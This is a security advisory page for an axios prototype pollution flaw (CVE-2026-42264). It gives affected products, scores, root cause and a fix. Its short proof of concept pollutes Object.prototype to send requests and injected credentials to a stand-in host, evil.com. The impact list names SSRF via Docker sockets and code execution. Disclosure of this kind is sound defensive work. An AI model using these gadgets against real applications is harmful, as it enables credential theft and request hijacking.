7.4high
Axios: Prototype pollution read-side gadgets in HTTP adapter allow credential injection and request hijacking
- Severity
- 7.4high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 1.00% (higher than 62% of CVEs)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-q8qp-cvcw-x6jj
Description
Axios is a promise based HTTP client for the browser and Node.js. From version 1.0.0 to before version 1.15.2, fFive config properties (auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser) in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. This issue has been patched in version 1.15.2.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| axios axios | >= 1.0.0, < 1.15.2, from 1.0.0 before 1.15.2 | CVE List, NVD |
| axios | Not specified | CVE List |
| advanced-cluster-security/rhacs-main-rhel8 | Not specified Not affected: from 1779371594 before *, from 1779293013 before * | CVE List |
| advanced-cluster-security/rhacs-main-rhel9 | Not specified Not affected: from 1783352589 before * | CVE List |
| ansible-automation-platform-27/gateway-rhel9 | Not specified Not affected: from 1783919486 before * | CVE List |
| rhmtc/openshift-migration-ui-rhel8 | Not specified Not affected: from 1783690532 before * | CVE List |
| mta/mta-ui-rhel9 | Not specified Not affected: from 1785169013 before * | CVE List |
| rhoai/odh-dashboard-rhel9 | Not specified Not affected: from 1787347991 before * | CVE List |
| rhoai/odh-mlflow-rhel9 | Not specified Not affected: from 1787226790 before * | CVE List |
| rhoai/odh-mod-arch-automl-rhel9 | Not specified Not affected: from 1787250508 before * | CVE List |
| rhoai/odh-mod-arch-autorag-rhel9 | Not specified Not affected: from 1787251550 before * | CVE List |
| rhoai/odh-mod-arch-gen-ai-rhel9 | Not specified Not affected: from 1786611759 before * | CVE List |
| rhoai/odh-mod-arch-maas-rhel9 | Not specified Not affected: from 1787251250 before * | CVE List |
| rhoai/odh-mod-arch-mlflow-rhel9 | Not specified Not affected: from 1786612219 before * | CVE List |
| rhoai/odh-mod-arch-model-registry-rhel9 | Not specified Not affected: from 1787250617 before * | CVE List |
| devspaces/code-rhel9 | Not specified Not affected: from 1787762793 before * | CVE List |
| openshift-service-mesh/kiali-ossmc-rhel9 | Not specified Not affected: from 1782980312 before *, from 1782980278 before *, from 1782201851 before *, from 1782980360 before * | CVE List |
| openshift-service-mesh/kiali-rhel9 | Not specified Not affected: from 1783445546 before *, from 1783445529 before *, from 1782201812 before *, from 1783445593 before * | CVE List |
| cryostat-openshift-console-plugin-npm | Not specified | CVE List |
| gatekeeper/gatekeeper-rhel9 | Not specified | CVE List |
| mta/mta-ui-rhel8 | Not specified | CVE List |
| multicluster-engine/console-mce-rhel9 | Not specified | CVE List |
| network-observability/network-observability-console-plugin-compat-rhel9 | Not specified | CVE List |
| network-observability/network-observability-console-plugin-pf4-rhel9 | Not specified | CVE List |
| network-observability/network-observability-console-plugin-pf5-rhel9 | Not specified | CVE List |
| network-observability/network-observability-console-plugin-rhel9 | Not specified | CVE List |
| openshift-pipelines/pipelines-hub-ui-rhel8 | Not specified | CVE List |
| openshift-pipelines/pipelines-hub-ui-rhel9 | Not specified | CVE List |
| openshift-service-mesh/kiali-ossmc-rhel8 | Not specified | CVE List |
| openshift-service-mesh/kiali-rhel8 | Not specified | CVE List |
| openshift-service-mesh/kiali-operator-bundle | Not specified | CVE List |
| openshift-service-mesh/kiali-rhel9-operator | Not specified | CVE List |
| 3scale-amp21/system | Not specified | CVE List |
| 3scale-amp22/system | Not specified | CVE List |
| 3scale-amp2/system-rhel7 | Not specified | CVE List |
| 3scale-amp2/system-rhel8 | Not specified | CVE List |
| 3scale-amp2/system-rhel9 | Not specified | CVE List |
| rhacm2/console-rhel9 | Not specified | CVE List |
| ansible-automation-platform/automation-dashboard-rhel9 | Not specified | CVE List |
| automation-controller | Not specified | CVE List |
| automation-gateway | Not specified | CVE List |
| automation-hub | Not specified | CVE List |
| automation-platform-ui | Not specified | CVE List |
| python3.11-galaxy-ng | Not specified | CVE List |
| python3.12-galaxy-ng | Not specified | CVE List |
| python3x-galaxy-ng | Not specified | CVE List |
| python-galaxy-ng | Not specified | CVE List |
| apicurio/apicurio-registry-ui-rhel8 | Not specified | CVE List |
| apicurio/apicurio-registry-ui-rhel9 | Not specified | CVE List |
| rhdh/rhdh-hub-rhel9 | Not specified | CVE List |
| discovery/discovery-ui-rhel9 | Not specified | CVE List |
| grafana | Not specified | CVE List |
| rhelai3/bootc-cuda-rhel9 | Not specified | CVE List |
| rhelai3/bootc-gaudi-rhel9 | Not specified | CVE List |
| rhelai3/bootc-rocm-rhel9 | Not specified | CVE List |
| rhelai3/disk-image-cuda-rhel9 | Not specified | CVE List |
| rhoai/odh-dashboard-rhel8 | Not specified | CVE List |
| rhoai/odh-mod-arch-eval-hub-rhel9 | Not specified | CVE List |
| openshift3/ose-console | Not specified | CVE List |
| openshift4/ose-agent-installer-ui-rhel9 | Not specified | CVE List |
| openshift4/ose-console | Not specified | CVE List |
| openshift4/ose-console-rhel9 | Not specified | CVE List |
| openshift4/ose-monitoring-plugin-rhel9 | Not specified | CVE List |
| devspaces/dashboard-rhel9 | Not specified | CVE List |
| container-native-virtualization/kubevirt-console-plugin | Not specified | CVE List |
| container-native-virtualization/kubevirt-console-plugin-rhel9 | Not specified | CVE List |
| quay/quay-rhel8 | Not specified | CVE List |
| quay/quay-rhel9 | Not specified | CVE List |
| satellite/iop-advisor-frontend-rhel9 | Not specified | CVE List |
| satellite/iop-host-inventory-frontend-rhel9 | Not specified | CVE List |
| satellite/iop-vulnerability-frontend-rhel9 | Not specified | CVE List |
| rhtas/rhtas-console-ui-rhel9 | Not specified | CVE List |
| rhtpa/rhtpa-trustification-service-rhel9 | Not specified | CVE List |
| ansible-automation-platform/automation-portal | Not specified | CVE List |
| ansible-automation-platform/bootc-automation-portal-rhel9 | Not specified | CVE List |
| axios (npm) | from 1.0.0 before 1.15.2 | GitHub Advisory Database |
All scores
| GitHub_M | 7.4high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N |
| redhat-SADP | 7.4high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N |
| GitHub | 7.4high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N |
| NVD | 9.1critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
Classification
What each source says
CVE List
Axios is a promise based HTTP client for the browser and Node.js. From version 1.0.0 to before version 1.15.2, fFive config properties (auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser) in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. This issue has been patched in version 1.15.2.
GitHub Advisory Database
Summary
Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.
Affected Properties
config.auth(lib/adapters/http.jsline 617) Injects attacker-controlledAuthorizationheader on all requests.config.baseURL(lib/helpers/resolveConfig.jsline 18) Redirects all requests using relative URLs to an attacker-controlled server.config.socketPath(lib/adapters/http.jsline 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).config.beforeRedirect(lib/adapters/http.jsline 698) Executes attacker-supplied callback during HTTP redirects.config.insecureHTTPParser(lib/adapters/http.jsline 712) Enables Node.js insecure HTTP parser on all requests.
Proof of Concept
const axios = require('axios');
// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';
await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials
Impact
- Credential injection: Every axios request includes an attacker-controlled
Authorizationheader, leaking request contents to any server that logs auth headers. - Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server.
- SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
- Code execution: Attacker-supplied functions execute during HTTP redirects.
- Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.
Root Cause
mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.
The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.
Suggested Fix
Apply the existing own() helper to all affected properties:
const configAuth = own('auth');
if (configAuth) {
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
}
Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.
NVD (es)
Axios es un cliente HTTP basado en promesas para el navegador y Node.js. Desde la versión 1.0.0 hasta antes de la versión 1.15.2, cinco propiedades de configuración (auth, baseURL, socketPath, beforeRedirect, e insecureHTTPParser) en el adaptador HTTP se leen mediante acceso directo a propiedades sin protecciones hasOwnProperty, haciéndolas explotables como dispositivos de contaminación de prototipos. Cuando Object.prototype es contaminado por otra dependencia en el mismo proceso, axios recoge silenciosamente estos valores contaminados en cada solicitud HTTP saliente. Este problema ha sido parcheado en la versión 1.15.2.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-42264 changed 2026-09-11 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-q8qp-cvcw-x6jj changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2026-42264 changed 2026-11-11 | Public domain |